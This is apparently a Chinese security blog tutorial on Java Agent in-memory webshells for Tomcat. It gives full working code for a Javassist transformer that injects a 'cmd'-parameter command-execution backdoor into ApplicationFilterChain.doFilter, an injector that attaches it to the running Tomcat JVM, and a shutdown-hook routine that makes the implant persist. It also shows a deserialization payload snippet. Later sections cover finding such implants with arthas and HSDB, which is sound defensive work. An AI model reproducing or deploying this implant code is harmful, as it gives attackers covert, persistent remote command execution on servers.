Java Agent的核心是Instrumentation,通过JVM运行过程中加载一个Agent来修改应用程序。这样就无需新建一个Filter、listener等,直接修改核心类的方法即可。Agent型内存马分为Agent和注入Agent两部分。Agent重写transform方法,加入恶意代码。注入Agent则是遍历VirtualMachine.list,找到目标类,然后将Agent attach到目标应用中。这样注入的Agent无法通过之前Filter、listener的方式在内存中查看,因为并没有加入到具体的内存对象中,只是修改了某个类的方法,所以需要利用工具在JVM中查看类的具体代码,判断是否被修改,来查找内存马的痕迹。想要杀掉Agent内存马就是要把这部分恶意代码抹去。
1. 预备知识
JVMTI
:JVM Tool Interface,Java虚拟机对外提供的Native编程接口
Agent
:应用程序的代理程序,从目标JVM中获取数据传递给外部进程
Instrumentation
:从Java SE 5开始引入的Java接口,可以通过java.lang.instrument来编写agent,而不再用Native的方式(虽然还是借助了JVMTI)。java.lang.instrument
包结构如下
java.lang.instrument
- ClassDefinition
- ClassFileTransformer
- IllegalClassFormatException
- Instrumentation
- UnmodifiableClassException
Agent 加载方式
Agent的加载可以是在JVM启动的时候,也可以是运行的时候。两种方法入口函数不同。但是形参的第一个参数agentArgs
,通过– javaagent
传入。inst
是Instrumentation类型的对象,JVM自动传入
// 启动时加载
public static void premain(String agentArgs, Instrumentation inst);
public static void premain(String agentArgs);
// 运行时加载
public static void agentmain(String agentArgs, Instrumentation inst);
public static void agentmain(String agentArgs);
无论是这两种哪个Agent,都需要打成一个jar包,在ManiFest属性中指定Premain-Class
或者Agent-Class
。打成jar包后需要挂在到目标JVM上,如果是启动时加载就是-javaagent:[=]
,如果是运行时挂载,就需要做一些额外的开发。
2. Agent Demo
参考https://www.cnblogs.com/rebeyond/p/9686213.html起三个工程,并将三个工程生成的jar放到同一目录
(1)JavaAgentMem—要被修改的应用程序

Ask类是应用程序,即要被Agent修改动作的类
先创建一个修改后希望运行的Ask
public class Ask {
public void say()
{
System.out.println("Oh my god...not yet");
}
}
将这个Ask.class拷贝出来放到xx
路径下,然后将这个Ask类改为被修改前的样子
public class Ask {
public void say()
{
System.out.println("Have you finish your Memshell?");
}
}
注意,如果想在命令行中以java -jar xxx.jar来运行jar文件,需要在IDEA的resources中创建MANIFEST.MF文件(指定Main-Class,并且末尾需要一行空行)
Manifest-Version: 1.0
Main-Class: Test
这个工程没啥好说的, 就是相当于一个普通应用程序,后面要写一个Agent来修改它。
(2)JavaAgent

AgentEntry类
import java.lang.instrument.Instrumentation;
public class AgentEntry {
public static void agentmain(String agentArgs, Instrumentation inst)
throws Exception{
inst.addTransformer(new Transformer (), true);
Class[] loadedClasses = inst.getAllLoadedClasses();
for (Class c : loadedClasses) {
if (c.getName().equals("Ask")) {
try {
inst.retransformClasses(c);
} catch (Exception e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
}
System.out.println("Class changed!");
}
}
根据预备知识可以知道,Agent分为启动时加载和运行时加载。运行时夹在需要采用agentmain
。Instrumentation.addTransformer()
用于加载一个转换器。该方法接收的参数类型为ClassFileTransformer
接口实现类,该接口中只有一个方法transform()
,会返回转换后的字节码。
Transformer类
import java.io.File;
import java.io.FileInputStream;
import java.io.InputStream;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;
import java.util.Arrays;
public class Transformer implements ClassFileTransformer {
static byte[] mergeByteArray(byte[]... byteArray) {
int totalLength = 0;
for(int i = 0; i < byteArray.length; i ++) {
if(byteArray[i] == null) {
continue;
}
totalLength += byteArray[i].length;
}
byte[] result = new byte[totalLength];
int cur = 0;
for(int i = 0; i < byteArray.length; i++) {
if(byteArray[i] == null) {
continue;
}
System.arraycopy(byteArray[i], 0, result, cur, byteArray[i].length);
cur += byteArray[i].length;
}
return result;
}
public static byte[] getBytesFromFile(String fileName) {
try {
byte[] result=new byte[] {};
InputStream is = new FileInputStream(new File(fileName));
byte[] bytes = new byte[1024];
int num = 0;
while ((num = is.read(bytes)) != -1) {
result=mergeByteArray(result, Arrays.copyOfRange(bytes, 0, num));
}
is.close();
return result;
} catch (Exception e) {
e.printStackTrace();
return null;
}
}
public byte[] transform(ClassLoader classLoader, String className, Class<?> c,
ProtectionDomain pd, byte[] b) throws IllegalClassFormatException {
if (!className.equals("Ask")) {
return null;
}
// 刚才Ask.class所放路径
return getBytesFromFile("/xx/Ask.class");
}
}
(3)AgentStarter

Attach类,挂载到目标JVM上,执行加载Agent操作。而Detach则是将Agent从目标JVM卸载。
import com.sun.tools.attach.VirtualMachine;
import com.sun.tools.attach.VirtualMachineDescriptor;
import java.util.List;
public class Attach {
public static void main(String[] args) throws Exception {
VirtualMachine vm = null;
List<VirtualMachineDescriptor> listAfter = null;
List<VirtualMachineDescriptor> listBefore = null;
listBefore = VirtualMachine.list();
while (true) {
try {
listAfter = VirtualMachine.list();
if (listAfter.size() <= 0)
continue;
for (VirtualMachineDescriptor vmd : listAfter) {
vm = VirtualMachine.attach(vmd);
listBefore.add(vmd);
System.out.println("i find a vm,agent.jar was injected.");
Thread.sleep(1000);
if (null != vm) {
vm.loadAgent("/xx/JavaAgent.jar");
vm.detach();
}
}
break;
} catch (Exception e) {
e.printStackTrace();
}
}
}
}
几种Attach方法比较
attach方式 | 是否会暂停JVM | 所在jar | 备注 |
---|---|---|---|
HotSpotAgent.attach | 会 | sa-jdi.jar | 在目标进程外部运行 |
VirtualMachine.attach | 不会 | tools.jar | attach创建Attach Listener执行命令 |
VirtualMachinne.loadAgent | 不会 | tools.jar | loadAgent动态加载jar提供信息 |
Perf.getPerf.attach(perfDataattach) | 不会 | rt.jar | lattach时把当前目标JVM进程的状态信息拷贝到mmap文件 |
(4)测试效果
先运行JavaAgentMem.jar,然后运行AgentStarter.jar,可以看到Ask中的内容被改变。需要说明的是AgentStarter.jar直接运行可能会报错
Caused by: java.lang.ClassNotFoundException: com.sun.tools.attach.VirtualMachine
这是因为Agent需要tools.jar支持,所以需要在应用启动参数上增加tools,如下
java -jar AgentStarter.jar -Xbootclasspath/a:$JAVA_HOME/lib/tools.jar

3. Agent内存马
通过上面的demo可以看到,写一个Agent和一个Attach Agent(Agent注入)的代码就可以改变应用程序的原有内容。那么我们就可以不再写一个新的Servlet或者Filter,而是在程序原有的代码中加入恶意的一部分代理。
Agent参考上述JavaAgent的写法,需要一个AgentEntry类编写agentmain
,另一个类Transformer写transformer
方法。
Agent
AgentEntry中判断如果当前的类是否为我们要更改的类。那么从内存马的角度来讲,我们要修改的类到底是什么?网上流传的是internalDoFilter,但是它是tomcat中的类,只适用于tomcat。后来冰蝎内置的内存马是写在了HttpServlet的service方法中,由于是JavaEE规范,相对来讲,能适用于更多的中间件。所以AgentEntry写法和上述demo中的没有区别,只是将判断中的Ask类换成org.apache.catalina.core.ApplicationFilterChain
public class MyAgent {
public static String ClassName = "org.apache.catalina.core.ApplicationFilterChain";
public MyAgent() {
}
public static void agentmain(String args, Instrumentation inst) throws Exception {
inst.addTransformer(new MyTransformer(), true);
Class[] loadedClasses = inst.getAllLoadedClasses();
for(int i = 0; i < loadedClasses.length; ++i) {
Class clazz = loadedClasses[i];
if (clazz.getName().equals(ClassName)) {
try {
inst.retransformClasses(new Class[]{clazz});
} catch (Exception var6) {
var6.printStackTrace();
}
}
}
}
public static void premain(String args, Instrumentation inst) throws Exception {
}
}
Transformer中的功能就是对方法中的代码进行修改并返回新的代码。方法修改一般借助字节码工具asm或者javaassist,前者性能好,但易用性差,一般选用javassist。Javassist在反序列化调用链中多次被用到,能在JVM运行时修改字节码。反序列化中的用法如下
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
//1 创建ClassPool-存储对象
ClassPool classPool=ClassPool.getDefault();
//2 添加类的搜索路径
classPool.appendClassPath(AbstractTranslet);
//3 makeClass创建一个空类,类名为CB
CtClass payload=classPool.makeClass("CB");
//4 设置CB的父类
payload.setSuperclass(classPool.get(AbstractTranslet));
//5 在类中设置static代码块,包含恶意代码
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"open -a Calculator\");");
对于Transform实现更改类中代码来说,主要先通过javassist创建ClassPool,然后从中获取需要的类,反射获取类中的方法进行修改。ClassPool存储对象,但是对于Web服务器来说,类的加载器可能不同,就需要通过new ClassClassPath(<Class>)
的方式来创建ClassPool,指定类搜索路径。找到指定的ApplicationFilterChain
类后向其doFilter
中添加代码。
public class MyTransformer implements ClassFileTransformer {
public static String ClassName = "org.apache.catalina.core.ApplicationFilterChain";
public MyTransformer() {
}
public byte[] transform(ClassLoader loader, String className, Class<?> aClass, ProtectionDomain protectionDomain, byte[] classfileBuffer) {
className = className.replace('/', '.');
// 创建ClassPool
if (className.equals(ClassName)) {
ClassPool cp = ClassPool.getDefault();
if (aClass != null) {
ClassClassPath classPath = new ClassClassPath(aClass);
cp.insertClassPath(classPath);
}
try {
// ClassPool中获取class对象
CtClass cc = cp.get(className);
CtMethod m = cc.getDeclaredMethod("doFilter");
m.insertBefore(" javax.servlet.ServletRequest req = request;\n javax.servlet.ServletResponse res = response;String cmd = req.getParameter(\"cmd\");\nif (cmd != null) {\nProcess process = Runtime.getRuntime().exec(cmd);\njava.io.BufferedReader bufferedReader = new java.io.BufferedReader(\nnew java.io.InputStreamReader(process.getInputStream()));\nStringBuilder stringBuilder = new StringBuilder();\nString line;\nwhile ((line = bufferedReader.readLine()) != null) {\nstringBuilder.append(line + '\\n');\n}\nres.getOutputStream().write(stringBuilder.toString().getBytes());\nres.getOutputStream().flush();\nres.getOutputStream().close();\n}");
byte[] byteCode = cc.toBytecode();
cc.detach();
return byteCode;
} catch (IOException | CannotCompileException | NotFoundException var10) {
var10.printStackTrace();
}
}
return new byte[0];
}
然后将此Agent工程打jar包

注入Agent
public class Main {
public Main() {
}
public static void main(String[] args) throws Exception {
String agentPath="/xxx/TomcatAgent.jar"; //生成的Agent所放的路径
try {
File toolsJar = new File(System.getProperty("java.home").replaceFirst("jre", "lib") + File.separator + "tools.jar");
URLClassLoader classLoader = (URLClassLoader)ClassLoader.getSystemClassLoader();
Method add = URLClassLoader.class.getDeclaredMethod("addURL", URL.class);
add.setAccessible(true);
add.invoke(classLoader, toolsJar.toURI().toURL());
Class<?> MyVirtualMachine = classLoader.loadClass("com.sun.tools.attach.VirtualMachine");
Class<?> MyVirtualMachineDescriptor = classLoader.loadClass("com.sun.tools.attach.VirtualMachineDescriptor");
Method list = MyVirtualMachine.getDeclaredMethod("list");
List<Object> invoke = (List)list.invoke((Object)null);
for(int i = 0; i < invoke.size(); ++i) {
Object o = invoke.get(i);
Method displayName = o.getClass().getSuperclass().getDeclaredMethod("displayName");
Object name = displayName.invoke(o);
System.out.println(String.format("JVM process name:[[[%s]]]", name.toString()));
if (name.toString().contains("org.apache.catalina.startup.Bootstrap")) {
Method attach = MyVirtualMachine.getDeclaredMethod("attach", MyVirtualMachineDescriptor);
Object machine = attach.invoke(MyVirtualMachine, o);
Method loadAgent = machine.getClass().getSuperclass().getSuperclass().getDeclaredMethod("loadAgent", String.class);
loadAgent.invoke(machine, agentPath);
Method detach = MyVirtualMachine.getDeclaredMethod("detach");
detach.invoke(machine);
System.out.println("Inject url http://localhost:8080/?cmd=whoami");
break;
}
}
} catch (Exception var17) {
var17.printStackTrace();
}
}
}
把这个打包成jar ,如果不想把路径写死,就将agentPath
当作参数传入,在进行效果测试的时候有个坑,启动tomcat发现找不到tomcat相关的JVM,正确的tomcat启动方式
sh catalina.sh run
tomcat启动后,执行Java -jar Inject.jar
,终端上显示出Inject url...
后即可访问url地址,查看效果。
4. JVM中查找Class
(1)arthas
arthas是阿里开发的开源工具,链接:https://github.com/alibaba/arthas
使用的话直接下载arthas-boot.jar即可:https://arthas.aliyun.com/arthas-boot.jar
可以在JDK6以上运行,主要功能包括:检查一个类是否被加载,或者类被加载到哪里(对于解决 jar 文件冲突很有用)、反编译一个类以确保代码按预期运行等。这两个功能对于内存马的查找很有意义。比如上述Agent内存马的注入选取了org.apache.catalina.core.ApplicationFilterChain
类,那么可以通过arthas直接查看这个类的反编译结果是否包含恶意代码
arthas使用
java -jar arthas-boot.jar
启动工具后,根据显示出的线程,选取对应要查看的。

[arthas@4035]$ sc org.apache.catalina.core.ApplicationFilterChain
[arthas@4035]$ jad org.apache.catalina.core.ApplicationFilterChain
输入sc ${需要检索的类名}
查看相关的类名,输入jad ${包名}
,反编译class源码,可以看到此时的doFilter包含了恶意代码

如果想要下载Class文件,然后jd-gui打开即可。
[arthas@4035]$ dump org.apache.catalina.core.ApplicationFilterChain
(2)HSDB(sa-jdi.jar)
HSDB(Hotspot Debugger),是一款内置于sa-jdi.jar
中的 GUI 调试工具,可用于调试 JVM 运行时数据,从而进行故障排除。以下三种开启方式都可以。
sudo /Library/Java/JavaVirtualMachines/jdk1.8.0_261.jdk/Contents/Home/bin/java -cp /Library/Java/JavaVirtualMachines/jdk1.8.0_261.jdk/Contents/Home/lib/sa-jdi.jar sun.jvm.hotspot.HSDB
sudo java -cp ,:/Library/Java/JavaVirtualMachines/jdk1.8.0_261.jdk/Contents/Home/lib/sa-jdi.jar sun.jvm.hotspot.HSDB
sudo java -cp $JAVA_HOME/lib/sa-jdi.jar sun.jvm.hotspot.HSDB
选择file->Attach to Hotspot process
,然后输入process ID去Attach进程。但是Mac环境下可能出现Attach不成功的情况。

Attach成功后,
Tools->Class Browser
,可以查看该线程下面所有的class。
除了图形界面的方式,也可以采取命令行的形式。sa-jdi.jar
中有一个ClassDump
,通过jps
命令查找进程对应的PID,然后执行如下命令
java -classpath $JAVA_HOME%/lib/sa-jdi.jar -Dsun.jvm.hotspot.tools.jcore.filter=xxx -Dsun.jvm.hotspot.tools.jcore.outputDir=xxx sun.jvm.hotspot.tools.jcore.ClassDump <PID>
这也是手动写一些Dump Class工具的核心——调用ClassDump
Agent内存马是把恶意代码插入到核心类的方法中,所谓的“杀”Agent内存马,就是找到这些和心类,将恶意逻辑进行更改。简单的思路就是,同样写一个Agent和一个注入Agent的。只不过这个Agent是修改恶意逻辑的。
5. ShutdownHook
ShutdownHook也叫钩子函数,它允许开发人员插入JVM关闭时执行的一段代码。示例如下:
public class Hook {
public static void main(String[] args) throws Exception{
Runtime.getRuntime().addShutdownHook(new Thread() {
@Override
public void run() {
System.out.println("hook");
}
});
System.out.println("public main over");
}
}
main方法执行结束后会执行hook,所以rebeyond利用这种方式在服务器运行结束后,将inject.jar
和agent.jar
写到磁盘上,然后调用startInject
方法执行java -jar inject.jar
,来解决一般内存马在服务器重启后不存在的情况,但是实战中一般要求木马可清楚,这种方式慎用。
public static void persist() {
try {
Thread t = new Thread() {
public void run() {
try {
writeFiles("inject.jar",Agent.injectFileBytes);
writeFiles("agent.jar",Agent.agentFileBytes);
startInject();
} catch (Exception e) {
}
}
};
t.setName("shutdown Thread");
Runtime.getRuntime().addShutdownHook(t);
} catch (Throwable t) {
}
参考文章:
https://www.cnblogs.com/rebeyond/p/9686213.html
https://tech.meituan.com/2019/11/07/java-dynamic-debugging-technology.html
网友评论